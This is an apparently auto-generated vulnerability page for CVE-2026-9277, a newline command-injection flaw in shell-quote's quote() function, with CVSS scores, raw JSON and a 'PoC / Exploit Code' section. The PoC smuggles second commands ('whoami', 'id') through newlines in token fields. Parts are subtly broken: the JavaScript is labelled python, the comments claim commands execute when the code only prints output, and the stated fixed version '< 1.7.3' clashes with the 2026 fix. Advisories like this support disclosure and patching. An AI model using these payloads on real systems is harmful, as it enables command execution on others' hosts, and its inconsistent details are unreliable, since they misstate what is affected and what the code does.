Security Vulnerability Report
中文
CVE-2026-9277 CVSS 8.1 HIGH

CVE-2026-9277

Published: 2026-05-22 14:16:30
Last Modified: 2026-05-23 04:16:40
Source: 7ffcee3d-2c14-4c3e-b844-86c6a321a158

Description

shell-quote's `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (\n, \r, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal newline as a command separator, so any content after it would execute as a second command. The vulnerable code path is reachable in two ways: (1) direct construction of `{ op: '...\n...' }` from external input, and (2) via `parse(cmd, envFn)` when `envFn` returns object tokens whose `.op` is attacker-influenced. Both are documented API surface. Fixed by replacing the per-character escape with strict shape validation: `.op` must match the parser's control-operator allowlist; `{ op: 'glob', pattern }` validates `pattern` and forbids line terminators; `{ comment }` validates `comment` and forbids line terminators; any other object shape throws `TypeError`.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

shell-quote < 1.7.3 (fixed version)
All versions with vulnerable escape logic in quote() function

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const quote = require('shell-quote').quote; // PoC 1: Direct construction with newline in op field try { const maliciousToken = { op: 'echo\nwhoami' }; const result = quote([maliciousToken]); console.log('Result:', result); // When executed in shell, 'whoami' will run as a separate command } catch (e) { console.log('Error (vulnerability may be fixed):', e.message); } // PoC 2: Via parse() with malicious envFn const parse = require('shell-quote').parse; try { // envFn returns object tokens with attacker-controlled op field const result = parse('test', () => ({ op: 'echo\nid' })); console.log('Parse Result:', result); // The 'id' command will execute after newline } catch (e) { console.log('Parse Error (vulnerability may be fixed):', e.message); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9277", "sourceIdentifier": "7ffcee3d-2c14-4c3e-b844-86c6a321a158", "published": "2026-05-22T14:16:30.330", "lastModified": "2026-05-23T04:16:40.053", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "shell-quote's `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (\\n, \\r, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal newline as a command separator, so any content after it would execute as a second command. The vulnerable code path is reachable in two ways: (1) direct construction of `{ op: '...\\n...' }` from external input, and (2) via `parse(cmd, envFn)` when `envFn` returns object tokens whose `.op` is attacker-influenced. Both are documented API surface. Fixed by replacing the per-character escape with strict shape validation: `.op` must match the parser's control-operator allowlist; `{ op: 'glob', pattern }` validates `pattern` and forbids line terminators; `{ comment }` validates `comment` and forbids line terminators; any other object shape throws `TypeError`."}], "metrics": {"cvssMetricV40": [{"source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/ljharb/shell-quote", "source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158"}, {"url": "https://github.com/ljharb/shell-quote/commit/1518179", "source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158"}, {"url": "https://github.com/ljharb/shell-quote/security/advisories/GHSA-w7jw-789q-3m8p", "source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158"}, {"url": "https://www.npmjs.com/package/shell-quote", "source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/23/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://github.com/ljharb/shell-quote/security/advisories/GHSA-w7jw-789q-3m8p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}